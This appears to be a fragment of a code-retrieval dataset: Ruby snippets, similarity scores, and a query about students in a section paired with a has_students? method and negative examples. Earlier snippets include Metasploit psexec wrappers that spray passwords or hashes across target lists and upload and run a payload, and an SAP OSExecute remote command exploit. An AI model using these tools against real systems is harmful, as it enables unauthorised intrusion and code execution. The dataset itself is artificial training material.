"def powercli_connect_exec(cmd)\n # used cached powershell runtime AND used cached PowerCLI connection\n # caching the powershell runtime is a huge savings, caching the PowerCLI connection\n # is another huge savings, worth about 5-10s total per call\n PuppetX::PowerCLI::Helper.instance.powercli_connect_exec(resource[:vcenter_connection],\n cmd)\n end",
"def exec(*args)\n command = args.shift\n\n arguments = Array.new\n arguments << %(sudo) if (@use_sudo == true)\n arguments << command\n arguments << args\n arguments = arguments.flatten.compact.join(' ')\n\n output = Array.new\n\n if @ssh.is_a?(ZTK::SSH)\n output << @ssh.exec(arguments, :silence => true, :ignore_exit_status => true).output\n else\n if @ssh.respond_to?(:exec!)\n output << @ssh.exec!(arguments)\n else\n raise SSHError, \"The object you assigned to ssh does not respond to #exec!\"\n end\n end\n\n output.join.strip\n end",
"def echo(s)\n\n instructions = 'echo ' + s\n r = @ssh ? @ssh.exec!(instructions) : `#{instructions}`\n puts 'r: ' + r.inspect if @debug\n @results[:echo] = r.chomp\n\n end",
"def run_command(command, quiet=false)\n log_stdout \"Executing command: #{command}\", quiet\n out, _, _ = guestcontrol_exec \"cmd.exe\", \"cmd.exe /c \\\"#{command}\\\"\"\n out\n end",
"def create_vnc_proxy\n port = VirtualMachine.next_vnc_port\n timeout = 30\n \n if @host_ip == IPSocket.getaddress(Socket.gethostname)\n prefix = ''\n else\n prefix = \"#{PveHelper::CMD_SSH_BATCH} #{@host_ip} \" \n end\n \n if port\n @vnc_port = port\n \n # generate random password\n chars = (\"a\"..\"z\").to_a + (\"A\"..\"Z\").to_a + (\"0\"..\"9\").to_a\n @vnc_password = \"\"\n # password length is 8 as vnc server only accept 8 chars in maxium\n 1.upto(8) { |i| @vnc_password << chars[rand(chars.size-1)] } \n \n qmstr = \"/usr/sbin/qm vncproxy #{@id} #{@vnc_password}\"\n cmdstr = \"/bin/nc -l -p #{@vnc_port} -w #{timeout} -c \\\"#{prefix} #{qmstr}\\\" 2>/dev/null &\"\n puts \"cmd: #{cmdstr}\"\n return system(cmdstr)\n end\n end",
"def smb_exec\n\t\tprint_status(\"\")\n\t\tprint_status(\"Windows Authenticated User Code Execution\")\n\t\tprint_status(\" MSF PSEXEC_COMMAND Payload Delivery \")\n\t\tprint_status(\"\")\n\t\tprint_caution(\"Provide Username: \")\n\t\tzUSER=gets.chomp\n\n\t\tprint_caution(\"Provide Password or LM:NTLM Hash: \")\n\t\tzPASS=gets.chomp\n\n\t\tprint_caution(\"Set Domain (Y/N)?\")\n\t\tanswer=gets.chomp\n\t\tif answer.upcase == 'Y' or answer.upcase == 'YES'\n\t\t\tprint_caution(\"Domain to use: \")\n\t\t\tzDOMAIN=gets.chomp\n\t\telse\n\t\t\tzDOMAIN='WORKGROUP'\n\t\tend\n\n\t\tprint_caution(\"Target IP: \")\n\t\tzIP=gets.chomp\n\n\t\tprint_caution(\"Number of Threads to Run (1,5,..): \")\n\t\tzTHREADS=gets.chomp\n\n\t\tprint_caution(\"Use default SMB Port 445 (Y/N)?\")\n\t\tanswer=gets.chomp\n\t\tif answer.upcase == 'N' or answer.upcase == 'NO'\n\t\t\tprint_caution(\"Port: \")\n\t\t\tzPORT=gets.chomp\n\t\telse\n\t\t\tzPORT='445'\n\t\tend\n\n\t\tprint_caution(\"Use C$ share (Y/N)?\")\n\t\tanswer=gets.chomp\n\t\tif answer.upcase == 'N' or answer.upcase == 'NO'\n\t\t\tprint_caution(\"Provide share to use: \")\n\t\t\tzSHARE=gets.chomp\n\t\telse\n\t\t\tzSHARE='C$'\n\t\tend\n\t\t#Our Base Resource File, just needs commands and run statements added\n\t\trcfile=\"#{$temp}msfassist.rc\"\n\t\tf=File.open(rcfile, 'w')\n\t\tf.puts \"db_connect #{MSFDBCREDS}\"\n\t\tf.puts \"use auxiliary/admin/smb/psexec_command\"\n\t\tf.puts \"set RHOSTS #{zIP}\"\n\t\tf.puts \"set RPORT #{zPORT}\"\n\t\tf.puts \"set SMBSHARE #{zSHARE}\"\n\t\tf.puts \"set SMBDomain #{zDOMAIN}\"\n\t\tf.puts \"set SMBUser #{zUSER}\"\n\t\tf.puts \"set SMBPass #{zPASS}\"\n\t\tf.puts \"set THREADS #{zTHREADS}\"\n\t\t#Get commands from user\n\t\tprint_line(\"\")\n\t\tprint_error(\"No Daisy Chains!\")\n\t\tprint_caution(\"Enter the number of Commands you need to run (1,2,..): \")\n\t\tzcount=gets.chomp\n\t\tif not zcount =~ /\\d+/\n\t\t\tzcount=1\n\t\tend\n\t\tcmdz=[]\n\t\tcount=1\n\t\twhile zcount.to_i > 0\n\t\t\tprint_caution(\"Enter Command #{count}: \") \n\t\t\tcmdz << gets.chomp\n\t\t\tcount = count.to_i + 1\n\t\t\tzcount = zcount.to_i - 1\n\t\tend\n\t\tprint_line(\"\")\n\t\tcmdz.each do |cmd|\n\t\t\tf.puts \"set COMMAND #{cmd}\"\n\t\t\tf.puts \"run\"\n\t\tend\n\t\tf.close\n\t\tprint_status(\"Launching MSF PSEXEC_COMMAND against #{zIP}:#{zPORT} in a new x-window.....\")\n\t\twin_psexec_cmd=\"xterm -title 'MSF PSEXEC_COMMAND' -font -*-fixed-medium-r-*-*-18-*-*-*-*-*-iso8859-* -e \\\"bash -c '#{MSFPATH}/msfconsole -r #{rcfile}'\\\"\"\n\t\tfireNforget(win_psexec_cmd)\n\t\tprint_line(\"\")\n\tend",
"def call command_str, options={}, &block\n Sunshine.logger.info @host, \"Running: #{command_str}\" do\n execute build_remote_cmd(command_str, options), &block\n end\n end",
"def mpx_psexec_wrapper\n\t\tprint_status(\"\")\n\t\tprint_status(\"Microsoft Windows Authenticated User Code Execution\")\n\t\tprint_status(\" HR's Multi-Scan PSEXEC Wrapper \")\n\t\tprint_status(\"\")\n\t\twhile(true)\n\t\t\tprint_caution(\"Provide Targets File with one per line: \")\n\t\t\tzTARGETS=gets.chomp\n\t\t\tif File.exists?(zTARGETS)\n\t\t\t\tbreak\n\t\t\telse\n\t\t\t\tprint_error(\"\")\n\t\t\t\tprint_error(\"Can't find provided file!\")\n\t\t\t\tprint_error(\"Check the path or permissions and try again....\")\n\t\t\t\tprint_error(\"\")\n\t\t\tend\n\t\tend\n\t\tprint_caution(\"Provide Username: \")\n\t\tzUSER=gets.chomp\n\t\twhile(true)\n\t\t\tprint_caution(\"Select Password Option to use: \")\n\t\t\tprint_caution(\"1) Single Password or LM:NTLM Hash\")\n\t\t\tprint_caution(\"2) List with one Password or LM:NTLM hash per Line\")\n\t\t\tanswer=gets.chomp\n\t\t\tcase answer\n\t\t\twhen 1\n\t\t\t\tprint_caution(\"Provide Password: \")\n\t\t\t\tzPASS=gets.chomp\n\t\t\t\tmeth=1\n\t\t\t\tbreak\n\t\t\twhen 2\n\t\t\t\tprint_caution(\"Path to Password|Hash File to use: \")\n\t\t\t\tzPASSWORDS=gets.chomp\n\t\t\t\tif File.exists?(zPASSWORDS)\n\t\t\t\t\tmeth=2\n\t\t\t\t\tbreak\n\t\t\t\telse\n\t\t\t\t\tprint_error(\"\")\n\t\t\t\t\tprint_error(\"Can't find provided file!\")\n\t\t\t\t\tprint_error(\"Check the path or permissions and try again....\")\n\t\t\t\t\tprint_error(\"\")\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tprint_error(\"\")\n\t\t\t\tprint_error(\"#{answer} is not a valid selection!\")\n\t\t\t\tprint_error(\"Please select a option from the menu....\")\n\t\t\t\tprint_error(\"\")\n\t\t\tend\n\t\tend\n\t\twhile(true)\n\t\t\tprint_caution(\"Path to Binary Payload to Upload & Execute on success: \")\n\t\t\tzEVIL=gets.chomp\n\t\t\tif File.exists?(zEVIL)\n\t\t\t\tbreak\n\t\t\telse\n\t\t\t\tprint_error(\"\")\n\t\t\t\tprint_error(\"Can't find provided file!\")\n\t\t\t\tprint_error(\"Check the path or permissions and try again....\")\n\t\t\t\tprint_error(\"\")\n\t\t\tend\n\t\tend\n\n\t\t#Multiple Targets to Attack, read into variable and run through them line by line\n\t\ttargets=File.open(zTARGETS).readlines\n\t\ttarget.each do |target|\n\t\t\tif meth.to_i == 1\n\t\t\t\t#Mult Target, Single Pass\n\t\t\t\tsingle_target(zUSER, zPASS, target, zEVIL)\n\t\t\telsif meth.to_i == 2\n\t\t\t\t#Mult Target, Multi Pass\n\t\t\t\tpasswords=File.open(zPASSWORDS).readlines\n\t\t\t\tpasswords.each do |pass|\n\t\t\t\t\tsingle_target(zUSER, pass, target, zEVIL)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"def open_ssh(id=@connection.servers.first)\n command = ssh_cli_string(id)\n exec(command)\n end",
"def execute_command(cmd, opts)\r\n\r\n\t\tsoapenv = 'http://schemas.xmlsoap.org/soap/envelope/'\r\n\t\txsi = 'http://www.w3.org/2001/XMLSchema-instance'\r\n\t\txs = 'http://www.w3.org/2001/XMLSchema'\r\n\t\tsapsess = 'http://www.sap.com/webas/630/soap/features/session/'\r\n\t\tns1 = 'ns1:OSExecute'\r\n\r\n\t\tcmd_s = cmd.split(\"&\") #Correct issue with multiple commands on a single line\r\n\t\tif cmd_s.length > 1\r\n\t\t\tprint_status(\"Command Stager progress - Split final payload for delivery (#{cmd_s.length} sections)\")\r\n\t\tend\r\n\r\n\t\tcmd_s = cmd_s.collect(&:strip)\r\n\t\tcmd_s.each do |payload|\r\n\r\n\t\t\tdata = '<?xml version=\"1.0\" encoding=\"utf-8\"?>' + \"\\r\\n\"\r\n\t\t\tdata << '<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"' + soapenv + '\" xmlns:xsi=\"' + xsi + '\" xmlns:xs=\"' + xs + '\">' + \"\\r\\n\"\r\n\t\t\tdata << '<SOAP-ENV:Header>' + \"\\r\\n\"\r\n\t\t\tdata << '<sapsess:Session xlmns:sapsess=\"' + sapsess + '\">' + \"\\r\\n\"\r\n\t\t\tdata << '<enableSession>true</enableSession>' + \"\\r\\n\"\r\n\t\t\tdata << '</sapsess:Session>' + \"\\r\\n\"\r\n\t\t\tdata << '</SOAP-ENV:Header>' + \"\\r\\n\"\r\n\t\t\tdata << '<SOAP-ENV:Body>' + \"\\r\\n\"\r\n\t\t\tdata << '<' + ns1 + ' xmlns:ns1=\"urn:SAPControl\"><command>cmd /c ' + payload.strip\r\n\t\t\tdata << '</command><async>0</async></' + ns1 + '>' + \"\\r\\n\"\r\n\t\t\tdata << '</SOAP-ENV:Body>' + \"\\r\\n\"\r\n\t\t\tdata << '</SOAP-ENV:Envelope>' + \"\\r\\n\\r\\n\"\r\n\r\n\t\t\tuser_pass = Rex::Text.encode_base64(datastore['USERNAME'] + \":\" + datastore['PASSWORD'])\r\n\r\n\t\t\tbegin\r\n\t\t\t\tres = send_request_raw({\r\n\t\t\t\t\t'uri' => \"/#{datastore['URI']}\",\r\n\t\t\t\t\t'method' => 'POST',\r\n\t\t\t\t\t'data' => data,\r\n\t\t\t\t\t'headers' =>\r\n\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t'Content-Length' => data.length,\r\n\t\t\t\t\t\t\t'SOAPAction' => '\"\"',\r\n\t\t\t\t\t\t\t'Authorization' => 'Basic ' + user_pass,\r\n\t\t\t\t\t\t\t'Content-Type' => 'text/xml; charset=UTF-8',\r\n\t\t\t\t\t\t}\r\n\t\t\t\t}, 60)\r\n\r\n\t\t\tif (res.code != 500 and res.code != 200)\r\n\t\t\t\tprint_error(\"[SAP] An unknown response was received from the server\")\r\n\t\t\t\tabort(\"Invlaid server response\")\r\n\t\t\telsif res.code == 500\r\n\t\t\t\tbody = res.body\r\n\t\t\t\tif body.match(/Invalid Credentials/i)\r\n\t\t\t\t\tprint_error(\"[SAP] The Supplied credentials are incorrect\")\r\n\t\t\t\t\tabort(\"Exploit not complete, check credentials\")\r\n\t\t\t\telsif body.match(/Permission denied/i)\r\n\t\t\t\t\tprint_error(\"[SAP] The Supplied credentials are valid, but lack OSExecute permissions\")\r\n\t\t\t\t\traise RuntimeError.new(\"Exploit not complete, check credentials\")\r\n\t\t\t\tend\r\n\t\t\tend\r\n\r\n\t\t\trescue ::Rex::ConnectionError\r\n\t\t\t\tprint_error(\"[SAP] Unable to attempt authentication\")\r\n\t\t\t\tbreak\r\n\t\t\tend\r\n\t\tend\r\n\tend",
"def exec cmd\n puts cmd\n system cmd or die\nend",
"def provision_winrm(args)\n if @machine.guest.capability?(:wait_for_reboot)\n @machine.guest.capability(:wait_for_reboot)\n end\n\n with_script_file do |path|\n @machine.communicate.tap do |comm|\n # Make sure that the upload path has an extension, since\n # having an extension is critical for Windows execution\n upload_path = config.upload_path.to_s\n if File.extname(upload_path) == \"\"\n upload_path += File.extname(path.to_s)\n end\n\n # Upload it\n comm.upload(path.to_s, upload_path)\n\n # Build the environment\n env = config.env.map { |k,v| \"$env:#{k} = #{quote_and_escape(v.to_s)}\" }\n env = env.join(\"; \")\n\n # Calculate the path that we'll be executing\n exec_path = upload_path\n exec_path.gsub!('/', '\\\\')\n exec_path = \"c:#{exec_path}\" if exec_path.start_with?(\"\\\\\")\n\n # Copy powershell_args from configuration\n shell_args = config.powershell_args\n\n # For PowerShell scripts bypass the execution policy unless already specified\n shell_args += \" -ExecutionPolicy Bypass\" if config.powershell_args !~ /[-\\/]ExecutionPolicy/i\n\n # CLIXML output is kinda useless, especially on non-windows hosts\n shell_args += \" -OutputFormat Text\" if config.powershell_args !~ /[-\\/]OutputFormat/i\n\n command = \"\\\"#{exec_path}\\\"#{args}\"\n if File.extname(exec_path).downcase == \".ps1\"\n command = \"powershell #{shell_args.to_s} -file #{command}\"\n else\n command = \"cmd /q /c #{command}\"\n end\n\n # Append the environment\n if !env.empty?\n command = \"#{env}; #{command}\"\n end\n\n if config.name\n @machine.ui.detail(I18n.t(\"vagrant.provisioners.shell.running\",\n script: \"script: #{config.name}\"))\n elsif config.path\n @machine.ui.detail(I18n.t(\"vagrant.provisioners.shell.runningas\",\n local: config.path.to_s, remote: exec_path))\n else\n @machine.ui.detail(I18n.t(\"vagrant.provisioners.shell.running\",\n script: \"inline PowerShell script\"))\n end\n\n # Execute it with sudo\n comm.sudo(command, { elevated: config.privileged, interactive: config.powershell_elevated_interactive }) do |type, data|\n handle_comm(type, data)\n end\n end\n end\n end",
"def ssh_execute(server, username, password, key, cmd)\n return lambda {\n exit_status = 0\n result = []\n\n params = {}\n params[:password] = password if password\n params[:keys] = [key] if key\n\n begin\n Net::SSH.start(server, username, params) do |ssh|\n puts \"Connecting to #{server}\"\n ch = ssh.open_channel do |channel|\n # now we request a \"pty\" (i.e. interactive) session so we can send data\n # back and forth if needed. it WILL NOT WORK without this, and it has to\n # be done before any call to exec.\n\n channel.request_pty do |ch_pty, success|\n raise \"Could not obtain pty (i.e. an interactive ssh session)\" if !success\n end\n\n channel.exec(cmd) do |ch_exec, success|\n puts \"Executing #{cmd} on #{server}\"\n # 'success' isn't related to bash exit codes or anything, but more\n # about ssh internals (i think... not bash related anyways).\n # not sure why it would fail at such a basic level, but it seems smart\n # to do something about it.\n abort \"could not execute command\" unless success\n\n # on_data is a hook that fires when the loop that this block is fired\n # in (see below) returns data. This is what we've been doing all this\n # for; now we can check to see if it's a password prompt, and\n # interactively return data if so (see request_pty above).\n channel.on_data do |ch_data, data|\n if data =~ /Password:/\n password = get_sudo_pw unless !password.nil? && password != \"\"\n channel.send_data \"#{password}\\n\"\n elsif data =~ /password/i or data =~ /passphrase/i or\n data =~ /pass phrase/i or data =~ /incorrect passphrase/i\n input = get_input_for_pw_prompt(data)\n channel.send_data \"#{input}\\n\"\n else\n result << data unless data.nil? or data.empty?\n end\n end\n\n channel.on_extended_data do |ch_onextdata, type, data|\n print \"SSH command returned on stderr: #{data}\"\n end\n\n channel.on_request \"exit-status\" do |ch_onreq, data|\n exit_status = data.read_long\n end\n end\n end\n ch.wait\n ssh.loop\n end\n if $debug\n puts \"==================================================\\nResult from #{server}:\"\n puts result.join\n puts \"==================================================\"\n end\n rescue Net::SSH::AuthenticationFailed\n exit_status = 1\n puts \"Bad username/password combination\"\n rescue Exception => e\n exit_status = 1\n puts e.inspect\n puts e.backtrace\n puts \"Can't connect to server\"\n end\n\n return exit_status\n }\n end",
"def ssh_into(instance=nil)\n Kernel.system \"#{ssh_command(instance)}\" if instance\n end",
"def provision_winssh(args)\n with_script_file do |path|\n # Upload the script to the machine\n @machine.communicate.tap do |comm|\n env = config.env.map{|k,v| comm.generate_environment_export(k, v)}.join\n upload_path = config.upload_path.to_s\n if File.extname(upload_path).empty?\n remote_ext = @machine.config.winssh.shell == \"powershell\" ? \"ps1\" : \"bat\"\n upload_path << \".#{remote_ext}\"\n end\n if remote_ext == \"ps1\"\n # Copy powershell_args from configuration\n shell_args = config.powershell_args\n # For PowerShell scripts bypass the execution policy unless already specified\n shell_args += \" -ExecutionPolicy Bypass\" if config.powershell_args !~ /[-\\/]ExecutionPolicy/i\n # CLIXML output is kinda useless, especially on non-windows hosts\n shell_args += \" -OutputFormat Text\" if config.powershell_args !~ /[-\\/]OutputFormat/i\n command = \"#{env}\\npowershell #{shell_args} #{upload_path}#{args}\"\n else\n command = \"#{env}\\n#{upload_path}#{args}\"\n end\n\n # Reset upload path permissions for the current ssh user\n info = nil\n retryable(on: Vagrant::Errors::SSHNotReady, tries: 3, sleep: 2) do\n info = @machine.ssh_info\n raise Vagrant::Errors::SSHNotReady if info.nil?\n end\n\n comm.upload(path.to_s, upload_path)\n\n if config.name\n @machine.ui.detail(I18n.t(\"vagrant.provisioners.shell.running\",\n script: \"script: #{config.name}\"))\n elsif config.path\n @machine.ui.detail(I18n.t(\"vagrant.provisioners.shell.running\",\n script: path.to_s))\n else\n @machine.ui.detail(I18n.t(\"vagrant.provisioners.shell.running\",\n script: \"inline script\"))\n end\n\n # Execute it with sudo\n comm.execute(\n command,\n sudo: config.privileged,\n error_key: :ssh_bad_exit_status_muted\n ) do |type, data|\n handle_comm(type, data)\n end\n end\n end\n end"
] |
[
"0.6539553",
"0.64589566",
"0.64333165",
"0.641589",
"0.63199073",
"0.63082355",
"0.6295611",
"0.6227712",
"0.6208858",
"0.6194346",
"0.6190223",
"0.6181252",
"0.6148918",
"0.6134624",
"0.6109485",
"0.61044806",
"0.6086549",
"0.607344",
"0.60497504",
"0.6021373",
"0.60177416",
"0.6013198",
"0.5994832",
"0.5990625",
"0.59840316",
"0.5972784",
"0.59341365",
"0.5932087",
"0.5928309",
"0.5906164",
"0.59008497",
"0.58835024",
"0.5861092",
"0.58308756",
"0.5825861",
"0.57934636",
"0.57877177",
"0.5772608",
"0.57464206",
"0.5717662",
"0.571723",
"0.5709013",
"0.5702357",
"0.57006884",
"0.5690565",
"0.5684935",
"0.5659039",
"0.56551373",
"0.5643522",
"0.5638789",
"0.5637337",
"0.5636657",
"0.56349564",
"0.5630357",
"0.5629759",
"0.56217295",
"0.56203395",
"0.5619307",
"0.55885446",
"0.55835533",
"0.5576401",
"0.55615705",
"0.5561258",
"0.5544581",
"0.5543584",
"0.5541028",
"0.55311",
"0.5528576",
"0.5527101",
"0.5510455",
"0.5506635",
"0.5490194",
"0.5486576",
"0.5480963",
"0.54711396",
"0.5463179",
"0.54562926",
"0.54528713",
"0.5443937",
"0.544179",
"0.544179",
"0.5432812",
"0.54142684",
"0.5395978",
"0.53928894",
"0.5383223",
"0.53782684",
"0.53770596",
"0.5377002",
"0.53709126",
"0.53683114",
"0.53677154",
"0.536124",
"0.5356468",
"0.5352902",
"0.534525",
"0.5338176",
"0.531956",
"0.53190106",
"0.5311585"
] |
0.7518728
|
0
|
Returns true when students are part of this section
|
def has_students?
!students.empty?
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def coaches_student?(student)\n\t\tstudents.include?(student)\n\tend",
"def sections?\n false\n end",
"def student?\n if self.role and self.role == 4 \n true\n end\n end",
"def student?\n return self.eduPersonAffiliation==\"student\"\n end",
"def student?\n false\n end",
"def enrolled? (student)\n @students.include?(student) # returns true or false on array existence\n end",
"def all_students?\n @options[:all_students].present?\n end",
"def section?\n type == \"Section\"\n end",
"def section?\n !@section.nil?\n end",
"def real_student?\n student? && !phantom\n end",
"def has_classmates?\n belongs_to_classroom? ? !classroom.students.empty? : nil\n end",
"def supervisor?(area)\n self.student? and return false\n self.area_ids.include?(area.id) \n end",
"def is_authorized_for_student(student)\n return true if self.districtwide_access?\n\n return false if self.restricted_to_sped_students && !(student.program_assigned.in? ['Sp Ed', 'SEIP'])\n return false if self.restricted_to_english_language_learners && student.limited_english_proficiency == 'Fluent'\n return false if self.school.present? && self.school != student.school\n\n return true if self.schoolwide_access? || self.admin? # Schoolwide admin\n return true if self.has_access_to_grade_levels? && student.grade.in?(self.grade_level_access) # Grade level access\n return true if student.in?(self.students) # Homeroom level access\n false\n end",
"def student?\n self.role == \"student\"\n end",
"def enrolled_in?(course)\n\t self.courses.include?(course)\n end",
"def is_student?\n self.role==\"student\"\n end",
"def coach?\n students.any?\n end",
"def student?\n return logged_in? && (current_user.class == Student)\n end",
"def student_only?(sfuid)\n result = roles sfuid\n if result.join(\"\").eql? \"undergrad\"\n return true\n end\n false\n end",
"def continues?\n year > specialization.study_length\n end",
"def student_spaces?\n return host.seats > attending_students.length if has_host?\n false\n end",
"def logged_in_as_student?\n !current_student.nil?\n end",
"def student?\n roles.where(name: Ability.student_group_name).exists?\n end",
"def section_assigned?(oi_instructions, section_id)\n oi_instructions.detect { |i| i.oi_category_section_id == section_id }\n end",
"def CA_only?\n course_assistant? && !instructor?\n end",
"def is_student?\n student.nil?\n end",
"def show_section_appraisal_moderated?\n subject.lead?(record) ||\n (\n record.assessor_assignments.moderated.submitted? &&\n (\n subject.primary?(record) ||\n (assessor? && record.from_previous_years?)\n )\n )\n end",
"def student?\n student_id?\n end",
"def CA_only?\n course_assistant? && (not instructor?)\n end",
"def is_authorized_for_student?(student)\n begin\n return true if @educator.districtwide_access?\n\n return false if @educator.restricted_to_sped_students && !(student.program_assigned.in? ['Sp Ed', 'SEIP'])\n return false if @educator.restricted_to_english_language_learners && student.limited_english_proficiency == 'Fluent'\n return false if @educator.school_id.present? && student.school_id.present? && @educator.school_id != student.school_id\n\n return true if @educator.schoolwide_access? || @educator.admin? # Schoolwide admin\n return true if @educator.has_access_to_grade_levels? && student.grade.in?(@educator.grade_level_access) # Grade level access\n return true if student.in?(@educator.students) # Homeroom level access\n return true if student.in?(@educator.section_students) # Section level access\n rescue ActiveModel::MissingAttributeError => err\n # We can't do authorization checks on models with `#select` that are missing\n # fields. If this happens, it's probably because the developer is trying to\n # to optimize a query. The authorization layer could only recover by making more\n # queries, so instead we raise and force the developer to figure out how to resolve.\n #\n # See `Authorizer.student_fields_for_authorization` and `Authorizer.educator_field_for_authorization`\n # to see what fields are required on each model.\n raise err\n end\n false\n end",
"def owned_by?(student)\n student.id == self.student_id\n end",
"def student?\n @student = true if session[:role_name] == 'Student'\n end",
"def section_auditor?(section, user)\n\n teammate = self.get_section_teammate(section)\n\n if self.is_self_audit?\n ((!teammate && user.id == self.design.designer_id) || ( teammate && user == teammate))\n else\n (!self.is_complete? &&\n ((!teammate && user.id == self.design.peer_id) || ( teammate && user == teammate)))\n end\n \n end",
"def student_team_requirements_met?\n # checks if the student has a team\n return false if @student.team.nil?\n # checks that the student's team has a topic\n return false if @student.team.topic.nil?\n\n # checks that the student has selected some topics\n @student.assignment.topics?\n end",
"def non_student?\n !self.has_role?('student')\n end",
"def is_taking?(course)\n courses.include?(course)\n end",
"def senior?\n\t\tgrade == 12\n\tend",
"def oversight_staff?\n staff? && agencies.any? { |a| a.oversight? }\n end",
"def student?\n return true if student\n\n student_email?(email)\n end",
"def student_logged_in?\n !current_student.nil?\n end",
"def sections_classes_all_there?\n sections_classes_to_check.flatten.all?(&:all_there?)\n end",
"def faculty?\n\t\tmember_of.downcase.include? \"faculty\"\n\tend",
"def attended_exam_in? course\n exams.for_course(course).attended.present?\n end",
"def section_selected?(section_name)\n if article_id_present?\n current_article.section.name == section_name\n elsif section_id_present?\n current_section.name == section_name\n else # none of the necessary controllers/actions is active\n false\n end\n end",
"def subscribing?(course)\n student? && current_user.subscribing?(course)\n end",
"def has_course?(course)\n self.courses.include?(course)\n end",
"def has_course?(course)\n self.courses.include?(course)\n end",
"def sections_exist?\n @top_level.items.present?\n end",
"def this_semester?\n\t\topens = self.showtimes.first.timestamp\n\t\ttoday = Time.now\n\t\t\n\t\t# TODO: rewrite into a range so it's a bit cleaner\n\t\tif(opens.month > 7 && today.month > 7 && today.year == opens.year)\n\t\t\ttrue\n\t\telsif(opens.month <= 7 && today.month <= 7 && today.year == opens.year)\n\t\t\ttrue\n\t\telse\n\t\t\tfalse\n\t\tend\n\tend",
"def section_for_script(script)\n sections_as_student.find {|section| section.script_id == script.id} ||\n sections.find {|section| section.script_id == script.id}\n end",
"def tutor_check?(academic_session, student_id)\n \tcurrent_user.is_student_tutor?(academic_session, student_id)\n end",
"def assigned_course_or_script?\n assigned_courses.any? || any_visible_assigned_scripts?\n end",
"def show_orientation_block?\n instructor? && !instructor_has_completed_orientation? && @current.empty? && @past.empty?\n end",
"def show_your_courses_label?\n return true if submitted_and_current_courses?\n return false if only_past_submitted_courses?\n return true if submitted_but_no_current_or_past_courses?\n return true if current_courses_but_incomplete_instructor_training?\n end",
"def booked?\n collaboration.present?\n end",
"def enrolled_in?(course)\n course.all_enrollees.include?(self)\n end",
"def has_sections\n\t\tversions = self.versions.where('published = ?', true).order('updated_at DESC')\n\t\tif versions.any? then\n\t\t\tversion = versions.first\n\t\t\tif !version.sections.empty? then\n\t\t\t\thas_section = true\n\t\t\telse\n\t\t\t\thas_section = false\n\t\t\tend\n\t\telse\n\t\t\tversion = self.versions.order('updated_at DESC').first \n\t\t\tif !version.sections.empty? then\n\t\t\t\thas_section = true\n\t\t\telse\n\t\t\t\thas_section = false\n\t\t\tend\n\t\tend\n\t\treturn has_section\n\tend",
"def has_section?(name)\n sections.has_key?(name)\n end",
"def has_section?(name)\n sections.has_key?(name)\n end",
"def passed?\n [\n semester.min_scholarship_index <= scholarship_index,\n community?,\n professional?\n ].count { |p| p == true} >= 2\n end",
"def requirement_satisfied?(time_blocks, course)\n lecture_satisfied = false\n lab_satisfied = !course.lab_required # if lab isn't required, it's satisfied immediately\n tutorial_satisfied = !course.tutorial_required\n time_blocks.each do |tb|\n if (tb.section.course == course)\n if (tb.section_type == 'LectureSection')\n lecture_satisfied = true\n elsif (tb.section_type == 'LabSection')\n lab_satisfied = true\n elsif (tb.section_type == 'TutorialSection')\n tutorial_satisfied = true\n end\n end\n end\n return lecture_satisfied && lab_satisfied && tutorial_satisfied\n end",
"def show_collection_section(collection, section)\n if [\"intro\", \"faq\", \"rules\"].include?(section) # just a check that we're not using a bogus section string\n !collection.collection_profile.send(section).blank? || collection.parent && !collection.parent.collection_profile.send(section).blank?\n end\n end",
"def registered_to?(lesson)\n lesson.members.include?(self)\n end",
"def sub_section_empty?(section)\n result = false\n 5.times do |index|\n result ||= self.send(\"#{section}#{index + 1}\".to_sym)\n end\n !result\n end",
"def teaching_staff?\n TEACHING_STAFF_ROLES.include?(CourseUser.roles[role.to_sym])\n end",
"def is_attending? course\n exams.for_course(course).attending.present?\n end",
"def visible_to? a_user\n a_user.participating_programs.include? program\n end",
"def role_is_instructor?\n has_role? 'instructor'\n end",
"def is_relevant_for_educator?\n supported_schools.any? {|school| authorized_grade_levels(school.id).size > 0 }\n end",
"def can_create_course?\n ptainstructors = Ptainstructor.find_by_semester_id(self.id)\n teachers = Teacher.find_by_semester_id(self.id)\n if ((ptainstructors == nil) or (teachers == nil))\n return false\n end\n return true\n end",
"def can_access_student( student)\n # 2 ways to access all student: admin or access_all flag\n if (is_admin? || current_teacher.access_all_students)\n return true\n end\n\n # last gasp: check roster of accessible students\n find_student = RosterStudent.where( teacher_id: current_teacher.id, student_id: student.id)\n if ! find_student.blank?\n return true\n end\n\n false # nope - teacher cannot access this student's data\n end",
"def profile_completed?\n return true if self.for_testing?\n !self.skills.blank? and !self.bio.blank?\n end",
"def enrolled_in_which?(courses)\n courses.reject {|course| !self.enrolled_in?(course)}\n end",
"def section_classes_all_there?\n section_classes_to_check.all?(&:all_there?)\n end",
"def attending?(exerciseclass)\n \texerciseclass.participants.include?(self)\n \tend",
"def students_advisor\n return nil if self.advisor? || self.provisional?\n\n self.current_sections.first.advisor\n end",
"def free?\n self.instructor.nil?\n end",
"def student_has_other_scholarship_duration\r\n return false if enrollment.nil?\r\n return false if scholarship.nil?\r\n #Se a bolsa é mais antiga que a atual scholarship.start_date < start_date\r\n # -> scholarship.cancel_date não é nulo -> scholarhsip.cancel < start_date\r\n # -> scholarship.cancel_date é nulo -> schoarslhip.end_date < start_date\r\n #Senão\r\n # -> cancel_date não é nulo -> schoarslhip.start_date > cancel_date\r\n # -> scholarship.cancel_date é nulo -> schoarslhip.start_date > end_date\r\n\r\n if self.id.nil?\r\n scholarships_with_student = ScholarshipDuration.where(enrollment_id: enrollment.id).all\r\n else\r\n scholarships_with_student = ScholarshipDuration.where(enrollment_id: enrollment.id).where.not(id: self.id).all\r\n end\r\n\r\n scholarships_with_student.each do |scholarship|\r\n if scholarship.start_date <= start_date # se a bolsa é antiga\r\n if scholarship.cancel_date.nil?\r\n return true if scholarship.end_date >= start_date\r\n else\r\n return true if scholarship.cancel_date >= start_date\r\n end\r\n else # se a bolsa é futura\r\n if cancel_date.nil?\r\n return true if scholarship.start_date <= end_date\r\n else\r\n return true if scholarship.start_date <= cancel_date\r\n end\r\n end\r\n end\r\n\r\n false\r\n end",
"def is_work?\n if @status==\"study\"\n puts \"he is a student.\"\n false\n else puts \"he is working\"\n true\n end\n end",
